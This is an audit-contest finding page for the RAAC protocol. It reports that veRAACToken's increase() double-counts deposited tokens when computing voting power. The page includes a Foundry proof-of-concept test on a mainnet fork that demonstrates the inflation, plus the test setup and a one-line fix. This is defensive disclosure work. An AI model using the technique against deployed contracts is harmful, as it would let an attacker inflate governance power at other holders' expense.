Core Contracts

Regnum Aurum Acquisition Corp

HardhatReal World AssetsNFT

77,280 USDC

View results

Previous Next

Submission Details

Severity: high

Valid

Increase() in veRAACToken double counts the amount of RAACToken deposited by users

shuernchua

Summary

Increase() in veRAACToken double counts the amount of RAACToken deposited by users. This artificially inflates users who called increase() repeatedly, as compared to those who called lock() once to get voting power.

Vulnerability Details

The increase() function in veRAACToken allows users to increase the amount of locked RAAC Tokens without changing the unlock time.
However, the increase() function essentially double counts the amount of RAACTokens deposited by the user.
In increase() , _lockState.increaseLock(msg.sender, amount); is executed.
This would increase the _lockState.locks internal accounting in veRAACToken's storage.
Then votingPower is calculated and updated here

(int128 newBias, int128 newSlope) = _votingState

.calculateAndUpdatePower(

msg.sender,

userLock.amount + amount,// amount is added twice

userLock.end);

Since amount is already added to userLock.amount in Step 3, another addition of amount occurs here, resulting in double counting.

Impact

Users who repeatedly call increase() in small amounts, can inflate their voting power more than calling lock() once with their desired amount of RAACTokens.

Tools Used

Manual Review

PoC

Please see below for foundry test:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "forge-std/Test.sol";

import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "@openzeppelin/contracts/utils/math/SafeCast.sol";

import "../../contracts/libraries/math/PercentageMath.sol";

import "../../contracts/libraries/math/WadRayMath.sol";

import {BaseSetup} from "./BaseSetup.t.sol";

import "../../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";

import "../../contracts/interfaces/core/governance/proposals/IGovernance.sol";

import "../../contracts/core/collectors/FeeCollector.sol";

import "../../contracts/mocks/core/governance/proposals/TimelockTestTarget.sol";

import "../../contracts/core/governance/proposals/TimelockController.sol";

contract veRaacTokenTest is BaseSetup {

using WadRayMath for uint256;

using PercentageMath for uint256;

using SafeCast for uint256;

using SafeERC20 for IERC20;

bytes32 private constant EMERGENCY_WITHDRAW_ACTION = keccak256("enableEmergencyWithdraw");

bytes32 private constant EMERGENCY_UNLOCK_ACTION = keccak256("EMERGENCY_UNLOCK");

IERC20 mainnetUSDC = IERC20(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));

address mainnetUsdcCurveUSDVault = address(0x7cA00559B978CFde81297849be6151d3ccB408A9);

address curveUSDWhale = address(0x4e59541306910aD6dC1daC0AC9dFB29bD9F15c67);

address newUser = makeAddr("new user");

address newUser2 = makeAddr("new user2");

address newUser3 = makeAddr("new user3");

address newUser4 = makeAddr("new user4");

function setUp() public override {

string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");

uint256 mainnetFork = vm.createFork(MAINNET_RPC_URL, 19614507);

vm.selectFork(mainnetFork);

super.setUp();

vm.startPrank(owner);

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidationThreshold, 8000); // 80%

lendingPool.setParameter(ILendingPool.OwnerParameter.HealthFactorLiquidationThreshold, 1e18); // 1.0e18

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidationGracePeriod, 3 days);

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidityBufferRatio, 2000); // 20%

lendingPool.setParameter(ILendingPool.OwnerParameter.WithdrawalStatus, 0); // Allow withdrawals

lendingPool.setParameter(ILendingPool.OwnerParameter.CanPaybackDebt, 1); // Enable payback

// house is 1000 with 18 decimals, same as crvUSD

uint256 housePrice = 1_000_000e18;

housePrices.setHousePrice(1, housePrice);

housePrices.setHousePrice(2, housePrice);

housePrices.setHousePrice(3, housePrice);

housePrices.setHousePrice(4, housePrice);

housePrices.setHousePrice(5, housePrice);

housePrices.setHousePrice(6, housePrice);

housePrices.setHousePrice(7, housePrice);

housePrices.setHousePrice(8, housePrice);

vm.stopPrank();

vm.startPrank(curveUSDWhale);

crvUSD.transfer(newUser, 15_000_000e18);

crvUSD.transfer(newUser2, 1_000_000e18);

crvUSD.transfer(newUser3, 5_000_000e18);

crvUSD.transfer(newUser4, 5_000_000e18);

crvUSD.transfer(address(stabilityPool), 10_000_000e18);

vm.stopPrank();

}

function test_veRaacIncreaseDoubleCount() public {

// Let's compare two different ways to lock tokens

// newUser will make a 1 time lock of 1M tokens

// newUser2 will make a 1 time lock of 500k tokens, then increase 5 times

// Both users will use up the same amount of raacTokens

// Step 1. Mint Raac Tokens

vm.startPrank(address(minter));

raacToken.mint(newUser, 1_000_000e18);

raacToken.mint(newUser2, 1_000_000e18);

assertEq(raacToken.balanceOf(newUser),raacToken.balanceOf(newUser2));

vm.stopPrank();

// Step 2. As newUser, make a one time lock of 1m tokens for 1 year

vm.startPrank(newUser);

raacToken.approve(address(veRaacToken), 1_000_000e18);

veRaacToken.lock(1_000_000e18,365 days);

uint256 veRaacBalOfNewUser = veRaacToken.balanceOf(newUser);

assertEq(veRaacBalOfNewUser, 25e22);

uint256 votingPowerNewUser = veRaacToken.getVotingPower(newUser); // 2.5e23

console.log("votingPowerNewUser:%e",votingPowerNewUser);

vm.stopPrank();

// Step 3. As newUser2, make a one time lock of 100k tokens, and then 9 more times via increase

vm.startPrank(newUser2);

raacToken.approve(address(veRaacToken), 1_000_000e18);

veRaacToken.lock(100_000e18,365 days);

uint256 veRaacBalOfNewUser2 = veRaacToken.balanceOf(newUser2);

assertEq(veRaacBalOfNewUser2, 25e21);

uint256 votingPowerNewUser2 = veRaacToken.getVotingPower(newUser2); //2.5e22

assertEq(votingPowerNewUser2, 2.5e22);

for (uint i =0;i<9;i++){

veRaacToken.increase(100_000e18);

}

uint256 vpNewUser2AfterIncrease = veRaacToken.getVotingPower(newUser2);

assertEq(vpNewUser2AfterIncrease,2.75e23);

// Step 4. compare

assertEq(raacToken.balanceOf(newUser),0);

assertEq(raacToken.balanceOf(newUser2),0);

// 2.75e23 > 2.5e22

assertTrue(vpNewUser2AfterIncrease>votingPowerNewUser);

}

Please see below for the following BaseSetup:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "forge-std/Test.sol";

// OpenZeppelin Imports

// import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// Primitives Import

import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";

// Token Imports

import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";

import {DEToken} from "../../contracts/core/tokens/DEToken.sol";

import {IndexToken} from "../../contracts/core/tokens/IndexToken.sol";

import {LPToken} from "../../contracts/core/tokens/LPToken.sol";

import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";

import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";

import {RToken} from "../../contracts/core/tokens/RToken.sol";

import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";

// Collector Imports

import {Treasury} from "../../contracts/core/collectors/Treasury.sol";

import {FeeCollector} from "../../contracts/core/collectors/FeeCollector.sol";

// Governance Imports

import {Governance} from "../../contracts/core/governance/proposals/Governance.sol";

import {TimelockController} from "../../contracts/core/governance/proposals/TimelockController.sol";

// Gauge Imports

import {BaseGauge} from "../../contracts/core/governance/gauges/BaseGauge.sol";

import {GaugeController} from "../../contracts/core/governance/gauges/GaugeController.sol";

import {IGaugeController} from "../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";

import {RAACGauge} from "../../contracts/core/governance/gauges/RAACGauge.sol";

import {RWAGauge} from "../../contracts/core/governance/gauges/RWAGauge.sol";

// Boost Import

import {BoostController} from "../../contracts/core/governance/boost/BoostController.sol";

// Minter Imports

import {RAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";

import {RAACReleaseOrchestrator} from "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";

// Oracle Imports

import {BaseChainlinkFunctionsOracle} from "../../contracts/core/oracles/BaseChainlinkFunctionsOracle.sol";

import {RAACHousePriceOracle} from "../../contracts/core/oracles/RAACHousePriceOracle.sol";

import {RAACPrimeRateOracle} from "../../contracts/core/oracles/RAACPrimeRateOracle.sol";

// Pool Imports

import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";

import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";

import {MarketCreator} from "../../contracts/core/pools/StabilityPool/MarketCreator.sol";

import {NFTLiquidator} from "../../contracts/core/pools/StabilityPool/NFTLiquidator.sol";

contract StakingToken is ERC20 {

constructor() ERC20("ST","ST"){

}

function mint(address account, uint256 value) public {

_mint(account, value);

}

function burn(address account, uint256 value) public {

_burn(account, value);

}

contract BaseSetup is Test {

IERC20 baseUSDC = IERC20(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));

address baseUSDCWhale = address(0x20FE51A9229EEf2cF8Ad9E89d91CAb9312cF3b7A);

// Collectors

Treasury treasury;

Treasury repairFund;

FeeCollector feeCollector;

// Tokens

IERC20 crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E)); // main

IERC20 basecrvUSD = IERC20(address(0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93)); // base

RAACToken raacToken;

veRAACToken veRaacToken;

RAACNFT raacNFT;

RToken rToken;

DebtToken debtToken;

DEToken deToken;

address mainnetChainlinkRouter = address(0x65Dcc24F8ff9e51F10DCc7Ed1e4e2A61e6E14bd6);

//m Orchestatro

RAACReleaseOrchestrator raacReleaseOrchestrator;

RAACHousePrices housePrices;

LendingPool lendingPool;

StabilityPool stabilityPool;

RAACMinter minter;

// Governance

Governance public governance;

TimelockController public timelockController;

BoostController public boostController;

GaugeController public gaugeController;

RAACGauge public raacGauge;

RWAGauge public rwaGauge;

address owner;

address user1;

address user2;

address user3;

StakingToken stakingToken;

function setUp() public virtual {

stakingToken = new StakingToken();

owner = makeAddr("owner");

user1 = makeAddr("user1");

user2 = makeAddr("user2");

user3 = makeAddr("user3");

vm.startPrank(owner);

// collectors

// Setup Tokens

raacToken = new RAACToken(owner, 100, 50);

veRaacToken = new veRAACToken(address(raacToken));

// veRAACToken

// RAACNFT

// DeToken

// Setup contracts

raacReleaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));

housePrices = new RAACHousePrices(owner);

housePrices.setOracle(owner);

raacNFT = new RAACNFT(address(crvUSD), address(housePrices), owner);

rToken = new RToken("RToken", "RT", owner, address(crvUSD));

debtToken = new DebtToken("DebtToken", "DT", owner);

lendingPool = new LendingPool(

address(crvUSD), address(rToken), address(debtToken), address(raacNFT), address(housePrices), 0.1e27

);

console.log("lendingPool:", address(lendingPool));

treasury = new Treasury(owner);

repairFund = new Treasury(owner);

deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));

stabilityPool = new StabilityPool(owner);

minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner); // should be owner

feeCollector =

new FeeCollector(address(raacToken), address(veRaacToken), address(treasury), address(repairFund), owner);

raacToken.setFeeCollector(address(feeCollector));

raacToken.manageWhitelist(address(feeCollector), true);

raacToken.manageWhitelist(address(veRaacToken), true);

raacToken.manageWhitelist(owner, true);

raacToken.setMinter(address(owner));

raacToken.mint(user2, 1000e18);

raacToken.mint(user3, 1000e18);

feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);

feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), owner);

feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);

rToken.setReservePool(address(lendingPool));

debtToken.setReservePool(address(lendingPool));

deToken.setStabilityPool(address(stabilityPool));

raacToken.setMinter(address(minter));

raacToken.transferOwnership(address(minter));

rToken.transferOwnership(address(lendingPool));

debtToken.transferOwnership(address(lendingPool));

stabilityPool.initialize(

address(rToken),

address(deToken),

address(raacToken),

address(minter),

address(crvUSD),

address(lendingPool)

);

lendingPool.setStabilityPool(address(stabilityPool));

// Governance Components

// Timelock controller

address[] memory proposers = new address[](1);

proposers[0] = owner;

address[] memory executors = new address[](1);

executors[0] = owner;

timelockController = new TimelockController(2 days, proposers, executors, owner);

// Governance

governance = new Governance(address(veRaacToken), address(timelockController));

timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));

timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));

timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));

//Gauge

gaugeController = new GaugeController(address(veRaacToken));

boostController = new BoostController(address(veRaacToken));

rwaGauge = new RWAGauge(address(raacToken), address(stakingToken), address(gaugeController));

raacGauge = new RAACGauge(address(raacToken), address(stakingToken), address(gaugeController));

gaugeController.addGauge(address(rwaGauge),IGaugeController.GaugeType.RWA , 0);

gaugeController.addGauge(address(raacGauge),IGaugeController.GaugeType.RAAC , 0);

rwaGauge.grantRole(rwaGauge.CONTROLLER_ROLE(),owner);

raacGauge.grantRole(rwaGauge.CONTROLLER_ROLE(),owner);

vm.stopPrank();

}

Recommendations

function increase(uint256 amount) external nonReentrant whenNotPaused {

// Increase lock using LockManager

_lockState.increaseLock(msg.sender, amount);

_updateBoostState(msg.sender, locks[msg.sender].amount);

// Update voting power

LockManager.Lock memory userLock = _lockState.locks[msg.sender];

(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(

msg.sender,

- userLock.amount + amount,

+ userLock.amount,

userLock.end

);

// Update checkpoints

uint256 newPower = uint256(uint128(newBias));

_checkpointState.writeCheckpoint(msg.sender, newPower);

// Transfer additional tokens and mint veTokens

raacToken.safeTransferFrom(msg.sender, address(this), amount);

_mint(msg.sender, newPower - balanceOf(msg.sender));

emit LockIncreased(msg.sender, amount);

}

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago

Submission Judgement Published

Validated

Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Prize pool breakdown

Total prize

77,280 USDC

nSLOC

3,864

20 USDC / LOC

High Medium

74,000

Low

3,280

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!